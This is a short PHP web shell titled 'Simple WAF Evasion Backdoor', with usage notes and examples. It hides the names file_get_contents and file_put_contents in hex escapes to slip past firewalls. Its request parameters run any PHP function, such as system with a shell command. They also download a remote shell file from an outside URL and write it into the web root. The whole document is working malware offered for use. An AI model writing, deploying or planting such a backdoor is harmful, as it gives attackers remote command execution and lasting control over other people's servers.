Simple WAF Evasion Backdoor

<?php
//*

---
usage:
a=phpfunction&b=func_arguments
c=/path/backdoor.php&d=http://location_shelll.txt (http only)
---
example:
a=system&b=uname+-a
c=/var/www/html/shell.php&d=http://webku,com/shell.txt

*//


$a = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
$b = "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
var_dump($_REQUEST['a']($_REQUEST['b']));
@$b($_REQUEST['c'], @$a($_REQUEST['d']));
?>